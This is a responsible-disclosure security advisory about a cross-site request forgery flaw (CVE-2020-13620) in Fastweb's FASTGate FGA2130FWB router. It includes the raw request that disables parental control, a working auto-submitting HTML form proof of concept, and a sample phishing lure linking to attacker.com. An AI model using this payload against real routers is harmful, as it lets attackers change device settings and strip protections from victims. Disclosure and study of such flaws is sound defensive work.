FASTGate GPON, Cross Site Request Forgery

November 6, 2020 / in Sharing Board

Authors: Luca Di Domenico, BackBox Team

I. INTRODUCTION

FASTGate GPON are wireless home gateways for home or office ADSL.

The model FGA2130FWB is the router installed when a new customer signs up for a new Internet subscription with the Italian ISP Fastweb.

II. DESCRIPTION

The administration web panel of the router is vulnerable to Cross Site Request Forgery (CVE-2020-13620)

Cross Site Request Forgery is a vulnerability that can be exploited by an attacker to perform an unwanted action on a trusted site for which the user is currently authenticated. For example, this might be to change the password on their account, to modify configurations and adding or deleting resources. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, as in this case, then the attacker might be able to take full control of all the application's data and functionality.

One of the action an attacker can perform by exploiting this vulnerability is to disable the Parental Control filter on the router. This is a privileged action and requires the administrator's password (I.e the administrator must be logged in). The action is performed by sending the following request:

```
GET /status.cgi?_=1604501065194&act=nvset&enabled=0&mode_all=0&service=pc_list
HTTP/1.1
Host: 192.168.1.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101
Firefox/82.0
Accept: application/json, text/plain, /
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.254/
Cookie: sessionID=;
```

To exploit this vulnerability, an attacker can host the "csrf.html" file on his own server (See section III), and send a URL to this page to the victim (the administrator).

For example the text of the email can be something like:
click here to win an iPhone: https://www.attacker.com/csrf.html

When the victim clicks on the link, the form will be submitted with the cookies of the victim attached to the request and the parental control will be removed.
To successfully exploit this vulnerability, the victim must be logged in to the web application during the attack phase.

III. PoC – PROOF OF CONCEPT

```
<form action="http://192.168.1.254/status.cgi">
  <input type="hidden" name="act" value="nvset" />
  <input type="hidden" name="enabled" value="0" />
  <input type="hidden" name="mode&#95;all" value="0" />
  <input type="hidden" name="service" value="pc&#95;list" />
  <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
```

IV. BUSINESS IMPACT

This flaw may compromise the integrity of the system and/or expose sensitive information. An attacker is able to modify system-configurations and perform other administrative tasks on the device.

V. SYSTEMS AFFECTED

FASTGate GPON Model FGA2130FWB through 2020-05-26 are affected.

VI. VULNERABILITY HISTORY

May 20th, 2020: Vendor notification
May 21th, 2020: Vendor acknowledged the vulnerability
November 04th, 2020: Vendor fixed the issue

VII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

Share this entry